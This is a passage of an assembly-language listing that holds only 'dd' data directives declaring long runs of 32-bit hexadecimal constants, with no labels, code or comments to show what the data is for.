		dd 0ED287730h, 8910C0AAh, 0C9BC3CC8h, 2A21E200h, 6C409CA6h
		dd 0CCD50709h, 0C04399A9h, 3BD03CD1h, 0DBF61203h, 0E0F0E769h
		dd 3DE181FBh, 8B80BE39h, 8F45805Fh, 7300A463h, 58DAA1B4h
		dd 7CA2CE8h, 1AF2AE0Fh,	0E0BEC7E4h, 0FC2D2BFBh,	1DE9EC01h
		dd 468F3BD1h, 0F670C8h,	5586B7B3h, 88841A10h, 0FE8E8103h
		dd 0D0BF0BB8h, 9226994h, 11D732B9h, 53A1A480h, 0FE01A204h
		dd 0E8F86E4Fh, 94ECBB5Fh, 0AC5100AEh, 5880B597h, 7B0760C3h
		dd 64FC1D9Ah, 52F63BD0h, 0E7160042h, 14A6FE4Fh,	0CA0098E9h
		dd 2A28FCBCh, 7B18B68Bh, 0EAA526D5h, 331750h, 0E487A082h
		dd 9100BCA2h, 0E0AAB24Eh, 22D2605h, 13763F5Fh, 0CC449FE2h
		dd 0D6876300h, 9DEB4193h, 0CBB113D8h, 80504371h, 72C338F6h
		dd 5AC71103h, 80BE9462h, 0CDD0B3h, 452DA4A6h, 0C4D33DACh
		dd 0E1124A1Ch, 1FE854D5h, 16403A35h, 2C062B9h, 0BA0B2606h
		dd 0E4C9002Ch, 0D7422122h, 44706907h, 72A0EFA3h, 29727h
		dd 0FD236B83h, 0EDAC5829h, 51EE3904h, 7C80AAB4h, 95F4515h
		dd 2349E195h, 66E480FDh, 8FC547h, 0A91E2240h, 0B703989Fh
		dd 0FE021912h, 29D96C00h, 66FB5Eh, 0A3B8279Ch, 57CC8CD1h
		dd 0B60A4200h, 4F3A28E5h, 1DEA007Fh, 0AC0D265Eh, 0B0C07D63h
		dd 0C6DD3468h, 0FF650CC1h, 74687885h, 19AEC81Eh, 94052A7Ah
		dd 0CD00E171h, 0A3E6AF81h, 30771BAAh, 5838FD87h, 5700948Fh
		dd 7BC23E2Bh, 5B0F5h, 0D5107037h, 0B7536B41h, 55F60700h
		dd 7395B64Bh, 2CBD3ED2h, 9DC16180h, 7463A28Fh, 81681500h
		dd 0AC6AA125h, 3E6F009Eh, 5C711C2Bh, 0FB00C811h, 99AB37E2h
		dd 5F8A2Dh, 7D5ED383h, 153FFD1h, 3949100h, 0A8CB04Ah, 450700DFh
		dd 9B4C72A9h, 6F00E1E2h, 0FD11BB2Fh, 4FCA384Fh,	0B510E035h
		dd 87DD9B00h, 1667176Eh, 0C8FA265Ah, 0E77500F8h, 0D266CAC0h
		dd 8F43790Eh, 1C59E157h, 0C07EBBA9h, 374E5E92h,	0E9B58705h
		dd 0CC00665Fh, 4D307B6h, 20BB58B2h, 0A0A7E41Ch,	87B19002h
		dd 820CDAA8h, 0C0592D80h, 88A92E6Ch, 4FEE0958h,	2B8C691Ch
		dd 0B3B43C00h, 589EE286h, 911C5B19h, 6B780C5h, 4F0E88D7h
		dd 8FCE8B00h, 7FD2E19Bh, 488E00EDh, 0B383D9C4h,	62C9EA8h
		dd 0D0001494h, 0A2707C2Ah, 0EE5E1743h, 8CCB004Ah, 389D4CC4h
		dd 66D8DB00h, 0B4297EE3h, 1140B292h, 78E10Eh, 0F4135F57h
		dd 37DCC6h, 8A803C50h, 683315ABh, 58D99D00h, 0BF738C84h
		dd 1D9F00A1h, 0AF4C2C35h, 0FE0F839Eh, 20E64D1Bh, 0F3A3CC9Ah
		dd 8CD650AAh, 168C0081h, 37E7666h, 2E39BC10h, 0D3C58F37h
		dd 26B4025h, 0A76ADEh, 3A540A99h, 0EF2A35D6h, 0B287C2Ch
		dd 0CA231B00h, 1E806B4Dh, 0C0253246h, 3B14C3BBh, 4C0005C5h
		dd 0BD4045D0h, 287484DDh, 0EE8734Eh, 0B46C143Dh, 19692001h
		dd 1E4E6048h, 7D2EFB00h, 0D6581D9h, 471E26Ch, 0C9C1020Fh
		dd 54A88389h, 0DC80B3B2h, 0DE7C7C4h, 5B701916h,	15EE4441h
		dd 0ABE837EDh, 77EED9h,	55568342h, 474ED788h, 0DAEDA301h
		dd 3231053Fh, 0EC2B10D8h, 5A0A00E1h, 569F4738h,	391DE540h
		dd 0A680CEAFh, 288C0CB7h, 41774C75h, 86F1Eh, 6C2FC9C3h
		dd 14E4C540h, 955AA703h, 0ECFB3276h, 0FC5B6481h, 89F70110h
		dd 8FC5F438h, 0FCE8FDE3h, 0C92BD280h, 16C259h, 9B22CF09h
		dd 0AF0E6C5Fh, 7F430701h, 0DE1336B6h, 0E6E35188h, 0E4DD3280h
		dd 16B65298h, 40F156CCh, 60F569E4h, 0BCA00643h,	0BE00BB1Fh
		dd 0A83E1E44h, 0C0A3E393h, 6D028E48h, 0A00091B2h, 0BFDBD9AFh
		dd 5CF14D9Bh, 0A20073C8h, 0FE71C7F4h, 0C0F1497Eh, 76EA9ACEh
		dd 0D8F0B00Bh, 0B2508069h, 0C80459h, 5EE56638h,	0F5109D36h
		dd 3037BA2Eh, 0D8604C4Fh, 9BE1D2Eh, 0A3E78029h,	91965625h
		dd 0D4F77E00h, 806C6470h, 0FD8A00BCh, 714DF3B5h, 27038314h
		dd 0C40F5A7Ch, 0F043D8DFh, 0A2EF0373h, 7217213Fh, 0CE7EE6E8h
		dd 9F05063Ch, 20039876h, 0B8B8C461h, 177120Bh, 12473E3h
		dd 702DCB2Fh, 0AF3BE241h, 8200774Fh, 2E1280DFh,	0FFAAB9h
		dd 443A7710h, 49C78B07h, 0F62F200h, 0EE1A09ACh,	63EEAEh
		dd 0B9083D18h, 321D2A8h, 6D0EDB00h, 0FBB6F2CAh,	819E0743h
		dd 73085E16h, 4001DD64h, 0DAB10AB8h, 7C4368D3h,	9330A06Bh
		dd 8B7C00E2h, 17EA55FDh, 0E9143B43h, 26D4CCF6h,	0D4018496h
		dd 0E1664029h, 14E6D0h,	7ED7B245h, 0A4DB8A27h, 0BB96EE00h
		dd 0B906D5C7h, 0E72B3875h, 685FE000h, 0ABE1131Eh, 1B593B13h
		dd 0DFD82500h, 0D13CFEh, 24501F38h, 810BEFFFh, 2139BC00h
		dd 0C046A6CCh, 0E5D900E9h, 0FABEACC2h, 9700F0DAh, 0A9752101h
		dd 49560Eh, 0DCDF376Ah,	0EC2F673Ch, 0D5052A00h,	1BFA20F6h
		dd 6D28005Fh, 0D05C7AC3h, 3800299Bh, 56C793D2h,	37EAF96Fh
		dd 1028FBFCh, 0BFADDE3Bh, 797FCB01h, 0C89488A2h, 413F8h
		dd 0B0519FC1h, 0D2053C93h, 800C973Dh, 0F711EB33h, 7E529Dh
		dd 3C4B8867h, 0A7DB78E4h, 0F8FA821Dh, 0AB25D101h, 71C8D8B4h
		dd 46A10072h, 0EE99ED21h, 8900F5FAh, 0A6754085h, 60492Eh
		dd 0A8EBD015h, 98FCA065h, 80ED393Fh, 859BC5CBh,	1C06E27h
		dd 6BB6D4Bh, 0CD7025DEh, 611B851h, 19DCD733h, 40C30792h
		dd 402FA74Bh, 0DDAE5367h, 0ACB1D400h, 26F51D0Fh, 0D7FC14h
		dd 0C245F4B9h, 0A5E1217Fh, 605D5501h, 47FDA1DFh, 1E29CA30h
		dd 9874201Fh, 53AE5E7Bh, 38B0403Bh, 0B7B50057h,	0F02209C3h
		dd 0E78D0094h, 0F4746B0Ah, 0ECFCAC11h, 28217501h, 0A5514F9Ch
		dd 38C188F4h, 0D180B66Bh, 0B4B92C37h, 0CB003D03h, 47148A3Bh
		dd 0CF8C7Dh, 678776D3h,	1927AB92h, 6E07BA00h, 11304546h
		dd 2668005Eh, 950D7134h, 9F2E05A9h, 0A500C885h,	54975DEEh
		dd 63932EAFh, 8ED980E0h, 0BE595EC4h, 1A4DBCEAh,	1B430378h
		dd 0ED34F59Fh, 604BCCC2h, 203BECh, 0A482BE80h, 0FA4D725Dh
		dd 0E0718800h, 31D5EE8Ch, 96E10BD3h, 59009C4Ah,	0FC665783h
		dd 450020B0h, 4E9387Eh,	0A4B555h, 1A2892F1h, 60D91B34h
		dd 49266401h, 0E72E4F6Eh, 1467AECh, 9C8A062Fh, 0C336816Ch
		dd 5C687EEAh
		dd 0E600177Fh, 0AD7897A4h, 835EA1h, 0B5892A95h,	0DAA2FDECh
		dd 0DE7B20E4h, 4A580600h, 466CF96Ah, 30760367h,	2E9ACD8Fh
		dd 0D97026F1h, 1528608Eh, 80F87F3Dh, 0B29B011h,	699D31h
		dd 0A9749289h, 906EDCD1h, 80EDBA01h, 3324B1DDh,	4154E0h
		dd 213BA3DBh, 0C90311A0h, 0EBC47C00h, 0D15DF5B8h, 0E2391FB0h
		dd 8BD5C060h, 0C9CA83D4h, 0DA2F1F00h, 0E1C5FCBDh, 0EA6102ACh
		dd 1243A734h, 4500D878h, 74DDEB57h, 33DB5C52h, 3150343Ch
		dd 2BA40C90h, 7B5860EDh, 0B7106F00h, 5F56BEEDh,	0DC131F42h
		dd 288065C9h, 8B44882Dh, 0F9809738h, 0ABB05000h, 0D8578E0Ah
		dd 0B61C130Bh, 0C108C033h, 470BB56Ah, 1132DA9Bh, 64647A18h
		dd 0C93A1383h, 0C20CC070h, 0DC007942h, 0DC0681Bh, 5376B75h
		dd 6272122Fh, 69DE80BAh, 6000DFFDh, 2775D996h, 124AD808h
		dd 8032EDE0h, 1D63A0BCh, 0B455F600h, 0BF45C0A3h, 79AC00FFh
		dd 72EFAF02h, 0D80E1053h, 80C90C46h, 0EEFF5CC4h, 0A14A02FEh
		dd 387F793h, 24B761C0h,	8C327500h, 0E2ECF65Bh, 199B00D4h
		dd 92468EF7h, 48003707h, 18C725BEh, 5C03F6E6h, 0C80078C5h
		dd 0E75E69E9h, 1001F89h, 0E8D20A02h, 28BB91D4h,	3DACEFC0h
		dd 78005794h, 0D63777C4h, 1500029Bh, 841E69B6h,	9F744F9h
		dd 0E983D858h, 0F53570A1h, 232080B3h, 79560B2Ch, 2810C0ACh
		dd 0BF2DDF3Bh, 7C25A601h, 6AA8BADDh, 0F103AC3Ch, 5AD5237Eh
		dd 896E0498h, 5C1C0E01h, 0A1AF7449h, 37B870h, 73AD94E2h
		dd 0DC8CDEBDh, 8BA83D50h, 80F0EE5Ch, 0E4AF5627h, 66750080h
		dd 0E5190EA8h, 67737D91h, 3876CA00h, 44701D1Ch,	169200BCh
		dd 3BF5860h, 462E0C3Ah,	0A7015D35h, 95D4FDF7h, 0BB34C0h
		dd 62D09F28h, 0E03089Dh, 613BD1Bh, 0AB7AD0F6h, 0FD1C03E8h
		dd 0BCF876B1h, 4942FC0h, 0B5781300h, 38243C12h,	8C8B0169h
		dd 0AA207FEAh, 0C42821A0h, 73389342h, 7B4F87DEh, 64702527h
		dd 0F01861h, 6D054C63h,	0ADCBBA7Eh, 0CE1C4B00h,	0FE9FB7B3h
		dd 62B8A0E6h, 0D253029Bh, 769A6BB2h, 0FBE0B48Fh, 5251B34Ah
		dd 6ED6E800h, 9B062964h, 0D90800ADh, 474A1067h,	0FB0987F5h
		dd 802333C8h, 0D5DFAC46h, 15800FEh, 2B38B9AAh, 0D0A0CBDBh
		dd 4600BC31h, 736E65D7h, 0EC1E2C01h, 4390002Dh,	729B2998h
		dd 171F180Bh, 0AA4E7149h, 34BB6026h, 691F4Ch, 55162B0Eh
		dd 0B5F7FB0Bh, 0C75CF00h, 68E4C3BBh, 2B06383Ah,	733392h
		dd 5B0881CFh, 5C94488Ch, 6F49D280h, 0FA578Fh, 47E430Ch
		dd 0A14818EEh, 5B3AAD74h, 0A6358BA8h, 0B5855FEAh, 2EA40052h
		dd 509AFC6Bh, 80B6823Dh, 0B33EADD1h, 4365177h, 188CD0E3h
		dd 0AF6CA0CAh, 4DF8E05Fh, 6FDA12h, 471DD7B8h, 420F94DCh
		dd 204022C2h, 0CC294FBCh, 0B5EC00BAh, 0E69C8D05h, 2D006949h
		dd 91624A2Ch, 7EA5967h,	36253245h, 0F214E03Ch, 3003C109h
		dd 7034A9CCh, 21180029h, 714D86D3h, 79B03523h, 0BE3D76ECh
		dd 0F5BF81EEh, 6050A6F2h, 48D2B070h, 0EB007C36h, 81B41DECh
		dd 843D6F82h, 0B18F0186h, 11F1A1F7h, 7FC5E0h, 0BB073071h
		dd 0F65C66B7h, 0DF8B920Fh, 3803E020h, 2E4E2189h, 203EAEh
		dd 0BAF6A4FDh, 6C01DA09h, 0FE4723D5h, 206C6D82h, 0B0CD5D80h
		dd 0A909CB69h, 81842F0Fh, 5DB99A0h, 0D7F6D0h, 0A1C0FDA7h
		dd 0B6ACA94Ch, 0EF344907h, 0BB00B883h, 9FB398h,	0E95CF415h
		dd 3A4AEE13h, 87006E7Ah, 2688BE09h, 0B12241h, 832A2951h
		dd 0E9D5C04Eh, 55466300h, 0EE19E0A3h, 0D8D00062h, 0A0186081h
		dd 864C1E28h, 51E81DF7h, 9557AE80h, 5E4D9ED5h, 0FC8433DEh
		dd 214FEEE0h, 8763D900h, 0FF63689h, 8B3700E8h, 0F3A872CFh
		dd 701C47BCh, 3E81AE80h, 0C7BA2F9h, 0BA06CF40h,	49F3000Fh
		dd 489BF28Bh, 7C3E5805h, 74A20057h, 0D7AB6B5Dh,	85390022h
		dd 0F8CB611Fh, 98001D0Eh, 2C3F6F55h, 15EBAF4h, 0A7E9C3AAh
		dd 602263C2h, 3E75F0C3h, 39705C05h, 0F4C3E2FFh,	0ECD7B05Ah
		dd 96460486h, 0C0941B82h, 0EB2934C0h, 985E80h, 0C6D68BB4h
		dd 0B90F757Bh, 203BA831h, 20D0BF56h, 3F6A0B85h,	0AA813D8Dh
		dd 0C49E2B1Eh, 38006E30h, 55951F39h, 52C56A5h, 5C33AFEBh
		dd 7204C044h, 0AE3998F5h, 0BE950251h, 58016AA1h, 0DF7C00DCh
		dd 0C3DE479Ch, 0B0F349Fh, 0E010735Bh, 337050AFh, 175AE464h
		dd 1311434Dh, 0E513AAFFh, 0F2CB0A00h, 0A81B45h,	0EF6FEB49h
		dd 8D48A62Eh, 8B50891Fh, 4D281687h, 1CD08835h, 58B6300Ch
		dd 9D1E4B56h, 4D2E0594h, 36104824h, 5033F010h, 0A9A0B228h
		dd 0E5590849h, 0B14809F4h, 4FF422C8h, 5B16C06Bh, 0DEE893h
		dd 0CEBEF08Dh, 0BA487A46h, 1C002E7Ah, 4AFD4CEFh, 3880596h
		dd 24F55B50h, 67D0211Eh, 7C1985CFh, 0A3284525h,	91BD8FD1h
		dd 3CBB5314h, 0EFE0500Bh, 0F35A85F5h, 0FF8E22C0h, 4CF0A55h
		dd 80A8B609h, 99EF3C5Bh, 0B287725h, 230C0C1Bh, 0A84E8817h
		dd 0A1B027h, 9A07BC9Fh,	2375695Fh, 943E401h, 828D45BAh
		dd 4CA42ED4h, 0D4385558h, 0C64A3D80h, 2180A99Ch, 0D14E8207h
		dd 27A0B0EEh, 0CEB7ECh,	0A93A2F93h, 1F6B171Ah, 0FE00BE70h
		dd 0CF5952DCh, 8F5DF0h,	2FFB472Eh, 3391D2B8h, 0D9008898h
		dd 0D47C4328h, 14934F3h, 0FF2290FCh, 0E466256Ch, 0C50FEB0Dh
		dd 2079EEh, 1EF3073Bh, 0E7590004h, 2635C3ACh, 25FC2E12h
		dd 67D5D700h, 0B29F183Ch, 2FFF0092h, 0B5C6CA70h, 77AFA4Ch
		dd 0D4508CF0h, 7E00C0E0h, 0C8FE167Dh, 0E46082h,	19CCDED8h
		dd 888F62A2h, 788AF800h, 3828F5E3h, 0B2320067h,	0DC30994Eh
		dd 61001673h, 11062F63h, 5395ACh, 0ECF79F84h, 0EB3BB242h
		dd 46055D71h, 5A0A03C3h, 6D9C2A80h, 942D0017h, 35C66A83h
		dd 0D20F4A5Bh, 0A774137Eh, 58713EC0h, 0C4F4D5B7h, 0A11200A7h
		dd 0A4FF7AC3h, 63004CDFh, 0C095320h, 2B2284h, 0CA8CCF06h
		dd 0CEFCD1F5h, 2448F039h, 1B000C07h, 4DD52E7Dh,	20BFEE9h
		dd 2AF5A5A2h, 0D860CE67h, 1F136982h, 0F50733F4h, 61A39DD1h
		dd 63C79040h, 6994007Fh, 5107E7Ah, 4918113Fh, 1B1968E6h
		dd 73B300CBh, 1CC51E06h, 47F6F315h, 80EE2A3Eh, 0D07C7764h
		dd 81E797h, 0E3591B74h,	44C49157h, 0F4EFB91Eh, 1ED6300h
		dd 0D3CB54h, 1F0D1807h,	117472DAh, 9C562230h, 0E53CD1h
		dd 9B1E8D73h, 4D6EB735h, 0AA00A670h, 0D6921696h, 0E8A051h
		dd 3B88BA9Ah, 8E1884CFh, 0D748300h, 0BF1CDC92h,	0BCFA001Dh
		dd 0F697D820h, 0E31D9188h, 3100DB6Fh, 4B148C69h, 619B00FEh
		dd 41FB890Dh, 6C003D2Eh, 0A1F2CE8Bh, 0E7C208h, 10D133E6h
		dd 1FA21439h, 0BB69D500h, 0D622989Ch, 0DA34010Bh, 2D50D927h
		dd 0E4E4203Ah, 471B3100h, 0A537356Ch, 0EE99000Dh, 0B8620E1Dh
		dd 9076EDFh, 0C8BEB769h, 0ABF76CB0h, 845B002Eh,	673054D2h
		dd 0F360ADECh, 0DD92F8D1h, 598D002Fh, 0AB27D42Bh, 0AD120E7Ah
		dd 4F0109F9h, 8D408A22h, 7DC630h, 0F598EA1Eh, 96364AF7h
		dd 48B5901h, 937046A0h,	0ECBF4CC8h, 0B91E3DC6h,	0DE206600h
		dd 0AD697B37h, 80F79D00h, 0C5A5B4D9h, 0DC840F1Fh, 2AC0FB2Bh
		dd 8ACC374Ah, 0E5FEC076h, 810F3E00h, 9E2E744Fh,	2CCA067h
		dd 0B81B6EC9h, 10CF80D4h, 3C871DB7h, 70E1A681h,	0F8AF5D09h
		dd 0CC90C124h, 51354F00h, 526E7325h, 39B63D47h,	80086924h
		dd 674675BCh, 8A7FC463h, 0F84AD600h, 0E3F6FC10h, 286A3EFDh
		dd 477379E0h, 3B00B06Dh
		dd 0F29618B2h, 4E24F0h,	8AB1F184h, 0F9C9C0BEh, 0E80F3AB0h
		dd 0D1F6D6h, 0FAADE1B9h, 0CDD8000Fh, 0D4F39D56h, 8B000D47h
		dd 0B31C4F7Ah, 1403D9Eh, 38C112C5h, 0D0FD3FC7h,	0EB00E7D3h
		dd 0FACEB037h, 3963FFF5h, 4F807F72h, 2C73EC61h,	4300D1E2h
		dd 154DD06Eh, 90A5ED17h, 29AE602Dh, 205E41DDh, 1A048A71h
		dd 0FA48D501h, 36FD7240h, 867D6164h, 0BE0068E8h, 0CACB4CA9h
		dd 89E149D4h, 2A9CCC89h, 58994100h, 5AB41481h, 9D87A066h
		dd 743D3E96h, 0B859DA03h, 5098E5C8h, 0D4907EACh, 4051B300h
		dd 14D1A473h, 0B0F7009Bh, 2FACF68Fh, 0DA74303Ch, 0B6658E00h
		dd 47D74826h, 5F7C0325h, 8D01D3BDh, 0EF1C388h, 9A1F1A7Ah
		dd 37C59F3Dh, 858051CBh, 5974FCh, 0B66F4B31h, 0D438F31Dh
		dd 1340FD00h, 357E1BA3h, 91B80CE7h, 77908022h, 0F86FDC01h
		dd 0BFDD9528h, 9FD806C1h, 60C9002Fh, 0E0BBEC78h, 4E7B14DEh
		dd 2EADB71Fh, 1881A64Ch, 0FF5500EFh, 0FE940A6Dh, 7D00B7F1h
		dd 0BF30D528h, 49C0DE9Ah, 0E036C25h, 0CC326A8Eh, 5AEDCEB8h
		dd 6F137D00h, 4A4DD247h, 91190C2Bh, 8558D158h, 50B36D01h
		dd 0A78C537Bh, 1621320h, 0FD01D511h, 0F847DB68h, 60CABF6h
		dd 580473B4h, 4DC51CB6h, 3CD5C09Ch, 785D2DA0h, 0AFD03A07h
		dd 1B03AD9Eh, 0C86002F5h, 0CE8CC62Eh, 3747FC48h, 8ADE2B00h
		dd 7EC11B57h, 0F8190F65h, 3C63E15Bh, 0E4F803B3h, 7100F512h
		dd 0A9B0E2F3h, 0EEAC9Bh, 0FD784A5h, 98394954h, 4B385377h
		dd 6E6287B2h, 0A7B286A4h, 0EFCC400Ch, 1DC40008h, 21E65075h
		dd 77006EA5h, 0E15A7B03h, 480E4939h, 30000224h,	0A2592837h
		dd 9E07F2C2h, 0B761254h, 2FC4CEA1h, 0D747C0h, 15E47D7Fh
		dd 584FB7DFh, 48944100h, 0F7AB0ADAh, 156904Dh, 3FE09C5Eh
		dd 0D8462BA2h, 3F2631Eh, 86F77C00h, 7B2564CDh, 0E76F07CAh
		dd 9E0801B2h, 39C7FA40h, 0CD3B4BD5h, 36060E96h,	56DA1E5h
		dd 1CD810BBh, 0FF400A3Bh, 1FCCFDB6h, 674BC7AFh,	0B81910DDh
		dd 0F009A62h, 0C3E3214h, 0E632447h, 4C89860h, 0EE1D5240h
		dd 3A00DB29h, 0ABE4938Ch, 4A230Bh, 0D065E247h, 343DCA2Ch
		dd 0F8007477h, 6893DD9Ch, 0A6D6F3h, 0A73C1EC8h,	39B24E98h
		dd 0FC006490h, 0E566E780h, 128755h, 1F44BB49h, 0D152E3A4h
		dd 6CD5C07h, 0C840386Dh, 12D4C9h, 1A0143Dh, 0B964E42Dh
		dd 89A12B3Ch, 18BBFEDh,	274F1B0Ch, 39707430h, 130034B1h
		dd 2F08D89Bh, 68007AFBh, 0C518D3D0h, 0ECE3982h,	5C19902Bh
		dd 0FF7DB020h, 5D0053BDh, 0C1742081h, 6FC8F24h,	2811A0F8h
		dd 8E00607Ch, 0BB9A67Eh, 0E69EC092h, 0C3E918DFh, 0D4152165h
		dd 60EE13Ah, 0A2614399h, 910D1399h, 41C440C0h, 5C2702DAh
		dd 9EFC0A74h, 29A5FC00h, 0C56998E8h, 96C700DFh,	516EAF84h
		dd 0A317B1FDh, 85006397h, 674376C9h, 7AF248F9h,	0DA72037Ah
		dd 0C13C0DF7h, 0E94C610Ch, 0A078BAh, 0DB5ADF0Ah, 0F7F07C96h
		dd 82FA8501h, 0E1CC6717h, 389C0BC9h, 47B61E40h,	0F0769616h
		dd 4D483B46h, 79023100h, 0A0675475h, 66530277h,	0E2E814D2h
		dd 82AB4EC0h, 76A72B00h, 61DCD154h, 0F2FCCBh, 9B210CA2h
		dd 65D639ABh, 14D81200h, 0F434FC22h, 0FA240085h, 98B6B326h
		dd 0DB72BECAh, 322A6F00h, 7C8BDF1Bh, 74FE0015h,	390BF14Ch
		dd 1900DB69h, 3256C588h, 0F276D577h, 6B5E00A2h,	0B63B3402h
		dd 0AC7A48ECh, 63001390h, 5795F216h, 1DD57CF6h,	0DEAECA2Dh
		dd 173200BBh, 804CF05h,	1DA0AD00h, 0B828B06Bh, 0BFA40763h
		dd 7017CE21h, 35D999C1h, 54DC1C54h, 619F8BA0h, 7585500Eh
		dd 995EA0F3h, 0B366FFh,	7D350A98h, 8478F68Dh, 2370AD00h
		dd 117EB763h, 87E41659h, 0C8BC4F18h, 97CA6223h,	66C0FBADh
		dd 0B001A360h, 51FF0033h, 13CFFCD1h, 0E0251E48h, 80C0017h
		dd 0F3B780h, 0C82ED572h, 9906A25Ah, 793AC302h, 0C0DD764Dh
		dd 1506048h, 8FC66584h,	0E86FE944h, 177CCBF4h, 1B7D1800h
		dd 0A7247C5Ch, 0FA7AB0D8h, 0EE7800D6h, 0EFC80EADh, 0BE0DBC38h
		dd 78733D51h, 62E3F0h, 8B8CFD43h, 95E67ADDh, 880E6100h
		dd 7CF0EA0Ch, 0EE4A0055h, 0ED01B8ACh, 52E3C0Ah,	3405504Ch
		dd 0E8004DCBh, 4224C29Dh, 0DBB2004Fh, 2F7289Eh,	7800EFD5h
		dd 0C0CE3559h, 74F6C2h,	40A72D63h, 0EC2646EAh, 2499C31Dh
		dd 58F2D980h, 18D7CB54h, 0A07BDA1Ch, 0F801D14Ch, 0D8AA03D3h
		dd 1980E81Dh, 545AE994h, 0C0B8F1DEh, 2232422h, 0A049F664h
		dd 44C079ADh, 552CFE7Dh, 3B00146Eh, 92F64DA6h, 813200AFh
		dd 60E18651h, 4400BE38h, 0ECAB20A8h, 60FD9A7Dh,	3628687Ch
		dd 2A2E27FCh, 1900FF8Dh, 580D286h, 55E30E04h, 9EA38117h
		dd 8811D141h, 0D900D742h, 0B5D2F7ADh, 7812E6E1h, 0D08E178Dh
		dd 1E2C7700h, 82B35E49h, 0F6D051Fh, 446FB509h, 0D0270F80h
		dd 0C7005AAEh, 0BB08E511h, 0A485EA07h, 83C0CB7Fh, 61F2FAh
		dd 0A2C9355h, 9A13CDFDh, 0AB41BC00h, 57129E23h,	80680077h
		dd 8656B62Fh, 72C3D02h,	0F100180Bh, 0BD059669h,	948F0C1Bh
		dd 74180985h, 0CE731206h, 3AE0D63Fh, 0F24043A2h, 0E280B4A7h
		dd 4251B5E1h, 0BA960437h, 80731084h, 0EF75AE98h, 19418200h
		dd 0F320BB80h, 2403E08Bh, 3DD542E6h, 8CA1BD14h,	94F099C0h
		dd 0D9008BB4h, 38FD6E10h, 3C1CF849h, 85A5D081h,	0EC00B88Fh
		dd 697BBB17h, 0A02F5E0Fh, 0A097EFCDh, 38DDDF9Ah, 89290068h
		dd 0F205E35Ch, 0FA0195DEh, 6A742E11h, 0AED846F6h, 864F0077h
		dd 0E8DFE3FFh, 9D0C4234h, 0E081DA5Ch, 45BA00A3h, 0F1C14EC7h
		dd 474A6526h, 3D19D838h, 0D3BE7ECCh, 0D6651B80h, 0D9D07C7Ah
		dd 7188D59h, 0B8E4EC3Fh, 2A496000h, 5BC10E43h, 49B2D43Ah
		dd 0BC0BEE70h, 0E0F5A499h, 3E0089DEh, 2B3FB659h, 3B1A8F29h
		dd 1800FB70h, 5ECCE77Ah, 9300D0B4h, 6B98A6B1h, 4886B2BAh
		dd 3E058F3Dh, 0C7208A21h, 712F8330h, 8412D824h,	55107A07h
		dd 0F61F96A0h, 0EE40014Ah, 0A18268F1h, 0A3BC4F4h, 0AC02642Ch
		dd 0A915DA00h, 1BAA81Fh, 3DED695Eh, 0D4AFB783h,	0DC008AA5h
		dd 0C0EEC637h, 1BED627h, 1895F510h, 0E007CFF7h,	0EA0089ECh
		dd 505A7809h, 5E5A0A3h,	0D9A1EF5Dh, 0B1CA0058h,	8C9BE7ECh
		dd 386E5700h, 3C240C9Fh, 0A755187Ah, 69616866h,	1191C617h
		dd 0CF571C00h, 0BB0106h, 0D9DA592Dh, 0EB1DBAECh, 9AE75202h
		dd 0A4E26292h, 30A416C0h, 0DD985C64h, 0F6C30772h, 5E1457A5h
		dd 93E0860Eh, 960D1DD4h, 0F0CC4F00h, 5BE72B0Fh,	44CD00A2h
		dd 41DCA013h, 370F14EEh, 0E2F9F0B2h, 0E0975969h, 3020BDECh
		dd 2F4E03B4h, 0E3E439E6h, 4D68A00h, 80105667h, 600E01F5h
		dd 0C31F3CA9h, 731C3075h, 7A13B900h, 0F0058877h, 8FE003BBh
		dd 1DFC2907h, 20F374D1h, 0D3315F51h, 1FB62119h,	0C2689F8h
		dd 0DEDB68D5h, 921F8019h, 3E809AC6h, 0D80873F1h, 60DE64h
		dd 8CC81C4Bh, 29186BC7h, 6F814F25h, 0FD1000B9h,	0FB5D3691h
		dd 0C300D04Dh, 4C5B1C9Eh, 48D8650Ah, 71711C76h,	46083A8Fh
		dd 54D79D00h, 6B8B5682h, 0C9853D01h, 2047D4C8h,	57965FCh
		dd 4CD2247Fh, 0DBC8C01Ch, 6F001380h, 788537EFh,	0BA3251h
		dd 0D66D89E1h, 0C915DB22h, 111F1090h, 4C2DFD5h,	60879B69h
		dd 3A9114A4h, 6680900Ch, 6A3B9C2h, 0C63E54D4h, 8A599E65h
		dd 0F91AA740h, 18A2872Eh, 60F6B31Bh, 490FDD11h,	0A05383CCh
		dd 52135FECh, 819E0E55h
		dd 1D37B940h, 0E7BABF98h, 0E94F8E87h, 0DF521089h, 71001F80h
		dd 0AF0A57BCh, 917948h,	4E31F643h, 0C284A63Ah, 3F83A109h
		dd 0FAFCE089h, 502F00AEh, 99FEBB55h, 9505EEB1h,	840BFC6Ah
		dd 0F0A3B400h, 57D49Dh,	8111AADCh, 0CE27D839h, 0D7896716h
		dd 0A936A401h, 98D77EB4h, 12C82Ch, 57F8BB74h, 0E97019A8h
		dd 88D61812h, 76A60F00h, 0EE7BC94Dh, 0B7FD00C2h, 0EE279B34h
		dd 8C1F741Ah, 5D80039Dh, 365BE3BFh, 1E70EA13h, 80413E0Ch
		dd 0DECD2E8Ah, 0A339CE37h, 0CF59808Eh, 0E4D34360h, 9147B4Ah
		dd 996CE9C6h, 0AFBD64A0h, 1E009CD6h, 0FF0CE0A1h, 0F60688h
		dd 7D9FA714h, 77845E8Ah, 8032463Ah, 2C54769Eh, 6F9C90h
		dd 47DD09E2h, 0AEAA436Eh, 8AA0A21Fh, 0E9FD0280h, 4863626Bh
		dd 0C1073F33h, 37222E15h, 78AF5301h, 600E7BF1h,	2B0267B1h
		dd 83032FA0h, 12207017h, 807C37A2h, 0F7E2F0C4h,	0A3F8FF04h
		dd 0F4A44F98h, 18BB50FEh, 0DF7A079Eh, 45AAA0E9h, 98286212h
		dd 7F4390Ch, 0F8DAF7CAh, 0B72540C2h, 8C03601Ch,	0CB1935FEh
		dd 2405A8F3h, 71480763h, 8394D083h, 305C72D2h, 0EAC304C8h
		dd 28B47525h, 0FB6900A0h, 7ED9234Eh, 864AF7F0h,	5910E432h
		dd 66BB8F00h, 29898862h, 0E5CA2561h, 6C1CE838h,	174BAD09h
		dd 0EEC46EFh, 1FDFD781h, 0E968AA00h, 0DE00A82Ch, 0DB4202B9h
		dd 0B1BDE4h, 2A4E7A64h,	99650867h, 3DBBF805h, 42C0B832h
		dd 0C3728Eh, 0CD203A15h, 0AEA47CF1h, 0BD9F5803h, 0B821E1C1h
		dd 161329F6h, 0EC3E29Ch, 492B332h, 805C1ED2h, 21A8DE05h
		dd 2F83B409h, 6EE86843h, 0CF360022h, 17E21415h,	0E174BC0Dh
